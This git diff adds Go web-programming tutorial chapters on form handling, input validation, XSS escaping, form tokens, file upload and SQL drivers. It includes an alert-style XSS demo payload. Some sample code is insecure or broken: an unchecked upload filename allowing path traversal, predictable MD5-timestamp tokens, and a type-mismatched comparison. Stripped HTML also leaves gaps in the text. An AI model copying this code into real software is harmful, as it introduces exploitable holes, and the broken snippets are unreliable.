+ +A form is an area that contains form elements. Users can input information into form elements like text boxes, drop down lists, radio buttons, check boxes, etc. We use the form tag `
` to define forms. + + + ... + input elements + ... +
+ +Go already has many convenient functions to deal with user forms. You can easily get form data in HTTP requests, and they are easy to integrate into your own web applications. In section 4.1, we are going to talk about how to handle form data in Go. Also, since you cannot trust any data coming from the client side, you must first verify the data before using it. We'll go through some examples about how to verify form data in section 4.2. + +We say that HTTP is stateless. How can we identify that certain forms are from the same user? And how do we make sure that one form can only be submitted once? We'll look at some details concerning cookies (a cookie is information that can be saved on the client side and added to the request header when the request is sent to the server) in both sections 4.3 and 4.4. + +Another big use-case of forms is uploading files. In section 4.5, you will learn how to do this as well as controlling the file upload size before it begins uploading, in Go. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 3 Summary](03.5.md) +- Next section: [Process form inputs](04.1.md) diff --git a/de/04.1.md b/de/04.1.md new file mode 100644 index 00000000..a95ade6c --- /dev/null +++ b/de/04.1.md @@ -0,0 +1,107 @@ +# 4.1 Process form inputs + +Before we begin, let's take a look at a simple example of a typical user form, saved as `login.gtpl` in your project folder. + + + + + + +
+ Username: + Password: + +
+ + + +This form will submit to `/login` on the server. After the user clicks the login button, the data will be sent to the `login` handler registered by the server router. Then we need to know whether it uses the POST method or GET. + +This is easy to find out using the `http` package. Let's see how to handle the form data on the login page. + + package main + + import ( + "fmt" + "html/template" + "log" + "net/http" + "strings" + ) + + func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body) + // attention: If you do not call ParseForm method, the following data can not be obtained form + fmt.Println(r.Form) // print information on server side. + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") // write data to response + } + + func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //get request method + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, nil) + } else { + r.ParseForm() + // logic part of log in + fmt.Println("username:", r.Form["username"]) + fmt.Println("password:", r.Form["password"]) + } + } + + func main() { + http.HandleFunc("/", sayhelloName) // setting router rule + http.HandleFunc("/login", login) + err := http.ListenAndServe(":9090", nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } + } + + +Here we use `r.Method` to get the request method, and it returns an http verb -"GET", "POST", "PUT", etc. + +In the `login` function, we use `r.Method` to check whether it's a login page or login processing logic. In other words, we check to see whether the user is simply opening the page, or trying to log in. Serve shows the page only when the request comes in via the GET method, and it executes the login logic when the request uses the POST method. + +You should see the following interface after opening `http://127.0.0.1:9090/login` in your browser. + +![](images/4.1.login.png?raw=true) + +Figure 4.1 User login interface + +The server will not print anything until after we type in a username and password, because the handler doesn't parse the form until we call `r.ParseForm()`. Let's add `r.ParseForm()` before `fmt.Println("username:", r.Form["username"])`, compile our program and test it again. You will find that the information is printed on the server side now. + +`r.Form` contains all of the request arguments, for instance the query-string in the URL and the data in POST and PUT. If the data has conflicts, for example parameters that have the same name, the server will save the data into a slice with multiple values. The Go documentation states that Go will save the data from GET and POST requests in different places. + +Try changing the value of the action in the form `http://127.0.0.1:9090/login` to `http://127.0.0.1:9090/login?username=astaxie` in the `login.gtpl` file, test it again, and you will see that the slice is printed on the server side. + +![](images/4.1.slice.png?raw=true) + +Figure 4.2 Server prints request data + +The type of `request.Form` is `url.Value`. It saves data with the format `key=value`. + + v := url.Values{} + v.Set("name", "Ava") + v.Add("friend", "Jess") + v.Add("friend", "Sarah") + v.Add("friend", "Zoe") + // v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" + fmt.Println(v.Get("name")) + fmt.Println(v.Get("friend")) + fmt.Println(v["friend"]) + +**Tips** Requests have the ability to access form data using the `FormValue()` method. For example, you can change `r.Form["username"]` to `r.FormValue("username")`, and Go calls `r.ParseForm` automatically. Notice that it returns the first value if there are arguments with the same name, and it returns an empty string if there is no such argument. + +## Links + +- [Directory](preface.md) +- Previous section: [User form](04.0.md) +- Next section: [Verification of inputs](04.2.md) diff --git a/de/04.2.md b/de/04.2.md new file mode 100644 index 00000000..b46ca24f --- /dev/null +++ b/de/04.2.md @@ -0,0 +1,141 @@ +# 4.2 Verification of inputs + +One of the most important principles in web development is that you cannot trust anything from client side user forms. You have to verify all incoming data before use it. Many websites are affected by this problem, which is simple yet crucial. + +There are two ways of verify form data that are commonly used. One is JavaScript verification in the front-end, and the other is server verification in the back-end. In this section, we are going to talk about server side verification in web development. + +## Required fields + +Sometimes we require that users input some fields but they don't, for example in the previous section when we required a username. You can use the `len` function to get the length of a field in order to ensure that users have entered this information. + + if len(r.Form["username"][0])==0{ + // code for empty field + } + +`r.Form` treats different form element types differently when they are blank. For empty textboxes, text areas and file uploads, it returns an empty string; for radio buttons and check boxes, it doesn't even create the corresponding items. Instead, you will get errors if you try to access it. Therefore, it's safer to use `r.Form.Get()` to get field values since it will always return empty if the value does not exist. On the other hand, `r.Form.Get()` can only get one field value at a time, so you need to use `r.Form` to get the map of values. + +## Numbers + +Sometimes you only need numbers for the field value. For example, let's say that you require the age of a user in integer form only, i.e 50 or 10, instead of "old enough" or "young man". If we require a positive number, we can convert the value to the `int` type first, then process it. + + getint,err:=strconv.Atoi(r.Form.Get("age")) + if err!=nil{ + // error occurs when convert to number, it may not a number + } + + // check range of number + if getint >100 { + // too big + } + +Another way to do this is using regular expressions. + + if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m { + return false + } + +For high performance purposes, regular expressions are not efficient, however simple regular expressions are usually fast enough. If you are familiar with regular expressions, it's a very convenient way to verify data. Notice that Go uses [RE2](http://code.google.com/p/re2/wiki/Syntax), so all UTF-8 characters are supported. + +## Chinese + +Sometimes we need users to input their Chinese names and we have to verify that they all use Chinese rather than random characters. For Chinese verification, regular expressions are the only way. + + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("realname")); !m { + return false + } + +## English letters + +Sometimes we need users to input only English letters. For example, we require someone's English name, like astaxie instead of asta谢. We can easily use regular expressions to perform our verification. + + if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m { + return false + } + +## E-mail address + +If you want to know whether users have entered valid E-mail addresses, you can use the following regular expression: + + if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m { + fmt.Println("no") + }else{ + fmt.Println("yes") + } + +## Drop down list + +Let's say we require an item from our drop down list, but instead we get a value fabricated by hackers. How do we prevent this from happening? + +Suppose we have the following ` + + + + + +We can use the following strategy to sanitize our input: + + slice:=[]string{"apple","pear","banana"} + + for _, v := range slice { + if v == r.Form.Get("fruit") { + return true + } + } + return false + +All the functions I've shown above are in my open source project for operating on slices and maps: [https://github.com/astaxie/beeku](https://github.com/astaxie/beeku) + +## Radio buttons + +If we want to know whether the user is male or female, we may use a radio button, returning 1 for male and 2 for female. However, some little kid who just read his first book on HTTP, decides to send to you a 3. Will your program have have exception? As you can see, we need to use the same method as we did for our drop down list to make sure that only expected values are returned by our radio button. + + Male + Female + +And we use following code to verify the input: + + slice:=[]int{1,2} + + for _, v := range slice { + if v == r.Form.Get("gender") { + return true + } + } + return false + +## Check boxes + +Suppose there are some check boxes for user interests, and that you don't want extraneous values here either. + + Football + Basketball + Tennis + +In this case, the sanitization is a little bit different than verifying the button and check box inputs since here we get a slice from the check boxes. + + slice:=[]string{"football","basketball","tennis"} + a:=Slice_diff(r.Form["interest"],slice) + if a == nil{ + return true + } + + return false + +## Date and time + +Suppose you want users to input valid dates or times. Go has the `time` package for converting year, month and day to their corresponding times. After that, it's easy to check it. + + t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) + fmt.Printf("Go launched at %s\n", t.Local()) + +After you have the time, you can use the `time` package for more operations, depending on your needs. + +In this section, we've discussed some common methods for verifying form data server side. I hope that you now understand more about data verification in Go, especially how to use regular expressions to your advantage. + +## Links + +- [Directory](preface.md) +- Previous section: [Process form inputs](04.1.md) +- Next section: [Cross site scripting](04.3.md) diff --git a/de/04.3.md b/de/04.3.md new file mode 100644 index 00000000..edcc8a82 --- /dev/null +++ b/de/04.3.md @@ -0,0 +1,68 @@ +# 4.3 Cross site scripting + +Today's websites have much more dynamic content in order to improve user experience, which means that we must provide dynamic information depending on every individual's behavior. Unfortunately, there is a thing called "Cross site scripting" (known as "XSS") always attacking dynamic websites, from which static websites are completely fine at this time. + +Attackers often inject malicious scripts like JavaScript, VBScript, ActiveX or Flash into those websites that have loopholes. Once they have successfully injected their scripts, user information can be stolen and your website can be flooded with spam. The attackers can also change user settings to whatever they want. + +If you want to prevent this kind of attack, you should combine the two following approaches: + +- Verification of all data from users, which we talked about in the previous section. +- Carefully handle data that will be sent to clients in order to prevent any injected scripts from running on browsers. + +So how can we do these two things in Go? Fortunately, the `html/template` package has some useful functions to escape data as follows: + +- `func HTMLEscape(w io.Writer, b []byte)` escapes b to w. +- `func HTMLEscapeString(s string) string` returns a string after escaping from s. +- `func HTMLEscaper(args ...interface{}) string` returns a string after escaping from multiple arguments. + +Let's change the example in section 4.1: + + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print at server side + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) // responded to clients + +If someone tries to input the username as ``, we will see the following content in the browser: + +![](images/4.3.escape.png?raw=true) + +Figure 4.3 JavaScript after escaped + +Functions in the `html/template` package help you to escape all HTML tags. What if you just want to print `` to browsers? You should use `text/template` instead. + + import "text/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", "") + +Output: + + Hello, ! + +Or you can use the `template.HTML` type : +Variable content will not be escaped if its type is `template.HTML`. + + import "html/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", template.HTML("")) + +Output: + + Hello, ! + +One more example of escaping: + + import "html/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", "") + +Output: + + Hello, <script>alert('you have been pwned')</script>! + +## Links + +- [Directory](preface.md) +- Previous section: [Verification of inputs](04.2.md) +- Next section: [Duplicate submissions](04.4.md) diff --git a/de/04.4.md b/de/04.4.md new file mode 100644 index 00000000..93792b5d --- /dev/null +++ b/de/04.4.md @@ -0,0 +1,57 @@ +# 4.4 Duplicate submissions + +I don't know if you've ever seen some blogs or BBS' that have more than one posts that are exactly the same, but I can tell you that it's because users submitted duplicate post forms. There many things that can cause duplicate submissions; sometimes users just double click the submit button, or they want to modify some content after posting and press the back button. Other times it's the intentional actions of malicious users. It's easy to see how duplicate submissions can lead to many problems. Thus, we have to use effective means to prevent it. + +The solution is to add a hidden field with a unique token to your form, and to always check this token before processing the incoming data. Also, if you are using Ajax to submit a form, use JavaScript to disable the submit button once the form has been submitted. + +Let's improve the example from section 4.2: + + Football + Basketball + Tennis + Username: + Password: + + + +We use an MD5 hash (time stamp) to generate the token, and added it to both a hidden field on the client side form and a session cookie on the server side (Chapter 6). We can then use this token to check whether or not this form was submitted. + + func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) // get request method + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + } else { + // log in request + r.ParseForm() + token := r.Form.Get("token") + if token != "" { + // check token validity + } else { + // give error if no token + } + fmt.Println("username length:", len(r.Form["username"][0])) + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print in server side + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) // respond to client + } + } + +![](images/4.4.token.png?raw=true) + +Figure 4.4 The content in browser after adding a token + +You can refresh this page and you will see a different token every time. This ensures that every form is unique. + +For now, you can prevent many duplicate submission attacks by adding tokens to your forms, but it cannot prevent all deceptive attacks of this type. There is much more work that needs to be done. + +## Links + +- [Directory](preface.md) +- Previous section: [Cross site scripting](04.3.md) +- Next section: [File upload](04.5.md) diff --git a/de/04.5.md b/de/04.5.md new file mode 100644 index 00000000..bbc62ef7 --- /dev/null +++ b/de/04.5.md @@ -0,0 +1,168 @@ +# 4.5 File upload + +Suppose you have a website like Instagram and you want users to upload their beautiful photos. How would you implement that functionality? + +You have to add property `enctype` to the form that you want to use for uploading photos. There are three possible values for this property: + +``` +application/x-www-form-urlencoded Transcode all characters before uploading (default). +multipart/form-data No transcoding. You must use this value when your form has file upload controls. +text/plain Convert spaces to "+", but no transcoding for special characters. +``` + + +Therefore, the HTML content of a file upload form should look like this: + +``` + + + Upload file + + +
+ + + +
+ + +``` + + +We need to add a function on the server side to handle this form. + +``` +http.HandleFunc("/upload", upload) + +// upload logic +func upload(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("upload.gtpl") + t.Execute(w, token) + } else { + r.ParseMultipartForm(32 << 20) + file, handler, err := r.FormFile("uploadfile") + if err != nil { + fmt.Println(err) + return + } + defer file.Close() + fmt.Fprintf(w, "%v", handler.Header) + f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) + if err != nil { + fmt.Println(err) + return + } + defer f.Close() + io.Copy(f, file) + } +} +``` + + +As you can see, we need to call `r.ParseMultipartForm` for uploading files. The function `maxMemory` argument. After you call `ParseMultipartForm`, the file will be saved in the server memory with `maxMemory` size. If the file size is larger than `maxMemory`, the rest of the data will be saved in a system temporary file. You can use `r.FormFile` to get the file handle and use `io.Copy` to save to your file system. + +You don't need to call `r.ParseForm` when you access other non-file fields in the form because Go will call it when it's necessary. Also, calling `ParseMultipartForm` once is enough -multiple calls make no difference. + +We use three steps for uploading files as follows: + +1. Add `enctype="multipart/form-data"` to your form. +2. Call `r.ParseMultipartForm` on the server side to save the file either to memory or to a temporary file. +3. Call `r.FormFile` to get the file handle and save to the file system. + +The file handler is the `multipart.FileHeader`. It uses the following struct: + +``` +type FileHeader struct { + Filename string + Header textproto.MIMEHeader + // contains filtered or unexported fields +} +``` + +![](images/4.5.upload2.png?raw=true) + +Figure 4.5 Print information on server after receiving file. + +## Clients upload files + +I showed an example of using a form to a upload a file. We can impersonate a client form to upload files in Go as well. + +``` +package main + +import ( + "bytes" + "fmt" + "io" + "io/ioutil" + "mime/multipart" + "net/http" + "os" +) + +func postFile(filename string, targetUrl string) error { + bodyBuf := &bytes.Buffer{} + bodyWriter := multipart.NewWriter(bodyBuf) + + // this step is very important + fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) + if err != nil { + fmt.Println("error writing to buffer") + return err + } + + // open file handle + fh, err := os.Open(filename) + if err != nil { + fmt.Println("error opening file") + return err + } + + //iocopy + _, err = io.Copy(fileWriter, fh) + if err != nil { + return err + } + + contentType := bodyWriter.FormDataContentType() + bodyWriter.Close() + + resp, err := http.Post(targetUrl, contentType, bodyBuf) + if err != nil { + return err + } + defer resp.Body.Close() + resp_body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return err + } + fmt.Println(resp.Status) + fmt.Println(string(resp_body)) + return nil +} + +// sample usage +func main() { + target_url := "http://localhost:9090/upload" + filename := "./astaxie.pdf" + postFile(filename, target_url) +} +``` + + +The above example shows you how to use a client to upload files. It uses `multipart.Write` to write files into cache and sends them to the server through the POST method. + +If you have other fields that need to write into data, like username, call `multipart.WriteField` as needed. + +## Links + +- [Directory](preface.md) +- Previous section: [Duplicate submissions](04.4.md) +- Next section: [Summary](04.6.md) diff --git a/de/04.6.md b/de/04.6.md new file mode 100644 index 00000000..d30aed1d --- /dev/null +++ b/de/04.6.md @@ -0,0 +1,11 @@ +# 4.6 Summary + +In this chapter, we mainly learned how to process form data in Go through several examples like logging in users and uploading files. We also emphasized that verifying user data is extremely important for website security, and we used one section to talk about how to filter data with regular expressions. + +I hope that you now know more about the communication process between client and server. + +## Links + +- [Directory](preface.md) +- Previous section: [File upload](04.5.md) +- Next chapter: [Database](05.0.md) diff --git a/de/05.0.md b/de/05.0.md new file mode 100644 index 00000000..ba0e6af1 --- /dev/null +++ b/de/05.0.md @@ -0,0 +1,13 @@ +# 5 Database + +For web developers, the database is at the core of web development. You can save almost anything into a database and query or update data inside it, like user information, products or news articles. + +Go doesn't provide any database drivers, but it does have a driver interface defined in the `database/sql` package. People can develop database drivers based on that interface. In section 5.1, we are going to talk about database driver interface design in Go; in sections 5.2 to 5.4, I will introduce some SQL database drivers to you; in section 5.5, i'll present the ORM that i've developed which is based on the `database/sql` interface standard. It's compatible with most drivers that have implemented the `database/sql` interface, and it makes it easy to access databases idiomatically in Go. + +NoSQL has been a hot topic in recent years. More websites are deciding to use NoSQL databases as their main database instead of just for the purpose of caching. I will introduce you to two NoSQL databases, which are MongoDB and Redis, in section 5.6. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 4 Summary](04.6.md) +- Next section: [database/sql interface](05.1.md) diff --git a/de/05.1.md b/de/05.1.md new file mode 100644 index 00000000..a590377e --- /dev/null +++ b/de/05.1.md @@ -0,0 +1,204 @@ +# 5.1 database/sql interface + +Go doesn't provide any official database drivers, unlike other languages like PHP which do. However, it does have some database driver interface standards for developers to develop database drivers with. The advantage is that if your code is developed according to these interface standards, you will not need to change any code if your database changes. Let's see what these database interface standards are. + +## sql.Register + +This function is in the `database/sql` package for registering database drivers when you use third-party database drivers. All of these should call the `Register(name string, driver driver.Driver)` function in `init()` in order to register themselves. + +Let's take a look at the corresponding mymysql and sqlite3 driver code: + + //https://github.com/mattn/go-sqlite3 driver + func init() { + sql.Register("sqlite3", &SQLiteDriver{}) + } + + //https://github.com/mikespook/mymysql driver + // Driver automatically registered in database/sql + var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"} + func init() { + Register("SET NAMES utf8") + sql.Register("mymysql", &d) + } + +We see that all third-party database drivers have implemented this function to register themselves, and Go uses a map to save user drivers inside of `database/sql`. + + var drivers = make(map[string]driver.Driver) + + drivers[name] = driver + +Therefore, this register function can register drivers as many as you want with different names. + +We always see the following code when we use third-party drivers: + + import ( + "database/sql" + _ "github.com/mattn/go-sqlite3" + ) + +Here the underscore (also known as a 'blank') `_` can be quite confusing for many beginners, but this is a great feature in Go. We already know that this identifier is for discarding values from function returns, and also that you must use all packages that you've imported in your code in Go. So when the blank is used with import, it means that you need to execute the init() function of that package without directly using it, which exactly fits the use-case for registering database drivers. + +## driver.Driver + +`Driver` is an interface containing an `Open(name string)` method that returns a `Conn` interface. + + type Driver interface { + Open(name string) (Conn, error) + } + +This is a one-time Conn, which means it can only be used once in one goroutine. The following code will cause errors to occur: + + ... + go goroutineA (Conn) // query + go goroutineB (Conn) // insert + ... + +Because Go has no idea which goroutine does what operation, the query operation may get the result of the insert operation, and vice-versa. + +All third-party drivers should have this function to parse the name of Conn and return the correct results. + +## driver.Conn + +This is a database connection interface with some methods, and as i've said above, the same Conn can only be used in one goroutine. + + type Conn interface { + Prepare(query string) (Stmt, error) + Close() error + Begin() (Tx, error) + } + +- `Prepare` returns the prepare status of corresponding SQL commands for querying and deleting, etc. +- `Close` closes the current connection and cleans resources. Most third-party drivers implement some kind of connection pool, so you don't need to cache connections unless you want to have unexpected errors. +- `Begin` returns a Tx that represents a transaction handle. You can use it for querying, updating, rolling back transactions, etc. + +## driver.Stmt + +This is a ready status that corresponds with Conn, so it can only be used in one goroutine like Conn. + + type Stmt interface { + Close() error + NumInput() int + Exec(args []Value) (Result, error) + Query(args []Value) (Rows, error) + } + +- `Close` closes the current connection but still returns row data if it is executing a query operation. +- `NumInput` returns the number of obligate arguments. Database drivers should check their caller's arguments when the result is greater than 0, and it returns -1 when database drivers don't know any obligate argument. +- `Exec` executes the `update/insert` SQL commands prepared in `Prepare`, returns `Result`. +- `Query` executes the `select` SQL command prepared in `Prepare`, returns row data. + +## driver.Tx + +Generally, transaction handles only have submit or rollback methods, and database drivers only need to implement these two methods. + + type Tx interface { + Commit() error + Rollback() error + } + +## driver.Execer + +This is an optional interface. + + type Execer interface { + Exec(query string, args []Value) (Result, error) + } + +If the driver doesn't implement this interface, when you call DB.Exec, it will automatically call Prepare, then return Stmt. After that it executes the Exec method of Stmt, then closes Stmt. + +## driver.Result + +This is the interface for results of `update/insert` operations. + + type Result interface { + LastInsertId() (int64, error) + RowsAffected() (int64, error) + } + +- `LastInsertId` returns auto-increment Id number after a database insert operation. +- `RowsAffected` returns rows that were affected by query operations. + +## driver.Rows + +This is the interface for the result of a query operation. + + type Rows interface { + Columns() []string + Close() error + Next(dest []Value) error + } + +- `Columns` returns field information of database tables. The slice has a one-to-one correspondence with SQL query fields only, and does not return all fields of that database table. +- `Close` closes Rows iterator. +- `Next` returns next data and assigns to dest, converting all strings into byte arrays, and gets io.EOF error if no more data is available. + +## driver.RowsAffected + +This is an alias of int64, but it implements the Result interface. + + type RowsAffected int64 + + func (RowsAffected) LastInsertId() (int64, error) + + func (v RowsAffected) RowsAffected() (int64, error) + +## driver.Value + +This is an empty interface that can contains any kind of data. + + type Value interface{} + +The Value must be something that drivers can operate on or nil, so it should be one of following types: + + int64 + float64 + bool + []byte + string [*] Except Rows.Next which cannot return string + time.Time + +## driver.ValueConverter + +This defines an interface for converting normal values to driver.Value. + + type ValueConverter interface { + ConvertValue(v interface{}) (Value, error) + } + +This interface is commonly used in database drivers and has many useful features: + +- Converts driver.Value to a corresponding database field type, for example converts int64 to uint16. +- Converts database query results to driver.Value. +- Converts driver.Value to a user defined value in the `scan` function. + +## driver.Valuer + +This defines an interface for returning driver.Value. + + type Valuer interface { + Value() (Value, error) + } + +Many types implement this interface for conversion between driver.Value and itself. + +At this point, you should know a bit about developping database drivers in Go. Once you can implement interfaces for operations like add, delete, update, etc., there are only a few problems left related to communicating with specific databases. + +## database/sql + +databse/sql defines even more high-level methods on top of database/sql/driver for more convenient database operations, and it suggests that you implement a connection pool. + + type DB struct { + driver driver.Driver + dsn string + mu sync.Mutex // protects freeConn and closed + freeConn []driver.Conn + closed bool + } + +As you can see, the `Open` function returns a DB that has a freeConn, and this is a simple connection pool. Its implementation is very simple and ugly. It uses `defer db.putConn(ci, err)` in the Db.prepare function to put a connection into the connection pool. Everytime you call the Conn function, it checks the length of freeCoon. If it's greater than 0, that means there is a reusable connection and it directly returns to you. Otherwise it creates a new connection and returns. + +## Links + +- [Directory](preface.md) +- Previous section: [Database](05.0.md) +- Next section: [MySQL](05.2.md) diff --git a/de/05.2.md b/de/05.2.md new file mode 100644 index 00000000..31a62247 --- /dev/null +++ b/de/05.2.md @@ -0,0 +1,126 @@ +# 5.2 MySQL + +The LAMP stack has been very popular on the internet in recent years, and the M in LAMP stand for MySQL. MySQL is famous because it's open source and easy to use. As such, it became the defacto database in the back-ends of many websites. + +## MySQL drivers + +There are a couple of drivers that support MySQL in Go. Some of them implement the `database/sql` interface, and others use their own interface standards. + +- [https://github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql) supports `database/sql`, written in pure Go. +- [https://github.com/ziutek/mymysql](https://github.com/ziutek/mymysql) supports `database/sql` and user defined interfaces, written in pure Go. +- [https://github.com/Philio/GoMySQL](https://github.com/Philio/GoMySQL) only supports user defined interfaces, written in pure Go. + +I'll use the first driver in the following examples (I use this one in my personal projects too), and I also recommend that you use it for the following reasons: + +- It's a new database driver and supports more features. +- Fully supports `databse/sql` interface standards. +- Supports keepalive, long connections with thread-safety. + +## Samples + +In the following sections, I'll use the same database table structure for different databases, then create SQL as follows: + + CREATE TABLE `userinfo` ( + `uid` INT(10) NOT NULL AUTO_INCREMENT, + `username` VARCHAR(64) NULL DEFAULT NULL, + `departname` VARCHAR(64) NULL DEFAULT NULL, + `created` DATE NULL DEFAULT NULL, + PRIMARY KEY (`uid`) + ); + +The following example shows how to operate on a database based on the `database/sql` interface standards. + + package main + + import ( + _ "github.com/go-sql-driver/mysql" + "database/sql" + "fmt" + ) + + func main() { + db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8") + checkErr(err) + + // insert + stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + // update + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + // query + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + // delete + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + +Let me explain a few of the important functions here: + +- `sql.Open()` opens a registered database driver. The Go-MySQL-Driver registered the mysql driver here. The second argument is the DSN (Data Source Name) that defines information pertaining to the database connection. It supports following formats: + + user@unix(/path/to/socket)/dbname?charset=utf8 + user:password@tcp(localhost:5555)/dbname?charset=utf8 + user:password@/dbname + user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname + +- `db.Prepare()` returns a SQL operation that is going to be executed. It also returns the execution status after executing SQL. +- `db.Query()` executes SQL and returns a Rows result. +- `stmt.Exec()` executes SQL that has been prepared and stored in Stmt. + +Note that we use the format `=?` to pass arguments. This is necessary for preventing SQL injection attacks. + +## Links + +- [Directory](preface.md) +- Previous section: [database/sql interface](05.1.md) +- Next section: [SQLite](05.3.md) diff --git a/de/05.3.md b/de/05.3.md new file mode 100644 index 00000000..e57aea92 --- /dev/null +++ b/de/05.3.md @@ -0,0 +1,110 @@ +# 5.3 SQLite + +SQLite is an open source, embedded relational database. It has a self-contained, zero-configuration and transaction-supported database engine. Its characteristics are highly portable, easy to use, compact, efficient and reliable. In most of cases, you only need a binary file of SQLite to create, connect and operate a database. If you are looking for an embedded database solution, SQLite is worth considering. You can say SQLite is the open source version of Access. + +## SQLite drivers + +There are many database drivers for SQLite in Go, but many of them do not support the `database/sql` interface standards. + +- [https://github.com/mattn/go-sqlite3](https://github.com/mattn/go-sqlite3) supports `database/sql`, based on cgo. +- [https://github.com/feyeleanor/gosqlite3](https://github.com/feyeleanor/gosqlite3) doesn't support `database/sql`, based on cgo. +- [https://github.com/phf/go-sqlite3](https://github.com/phf/go-sqlite3) doesn't support `database/sql`, based on cgo. + +The first driver is the only one that supports the `database/sql` interface standard in its SQLite driver, so I use this in my projects -it will make it easy to migrate my code in the future if I need to. + +## Samples + +We create the following SQL: + + CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `departname` VARCHAR(64) NULL, + `created` DATE NULL + ); + +An example: + + package main + + import ( + "database/sql" + "fmt" + _ "github.com/mattn/go-sqlite3" + ) + + func main() { + db, err := sql.Open("sqlite3", "./foo.db") + checkErr(err) + + // insert + stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + // update + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + // query + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + // delete + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + +You may have noticed that the code is almost the same as in the previous section, and that we only changed the name of the registered driver and called `sql.Open` to connect to SQLite in a different way. + +As a final note on this secton, there is a useful SQLite management tool available: [http://sqliteadmin.orbmu2k.de/](http://sqliteadmin.orbmu2k.de/) + +## Links + +- [Directory](preface.md) +- Previous section: [MySQL](05.2.md) +- Next section: [PostgreSQL](05.4.md) diff --git a/de/05.4.md b/de/05.4.md new file mode 100644 index 00000000..c1e58ce6 --- /dev/null +++ b/de/05.4.md @@ -0,0 +1,123 @@ +# 5.4 PostgreSQL + +PostgreSQL is an object-relational database management system available for many platforms including Linux, FreeBSD, Solaris, Microsoft Windows and Mac OS X. It is released under an MIT-style license, and is thus free and open source software. It's larger than MySQL because it's designed for enterprise usage like Oracle. Postgresql is good choice for enterprise type projects. + +## PostgreSQL drivers + +There are many database drivers available for PostgreSQL. Here are three examples of them: + +- 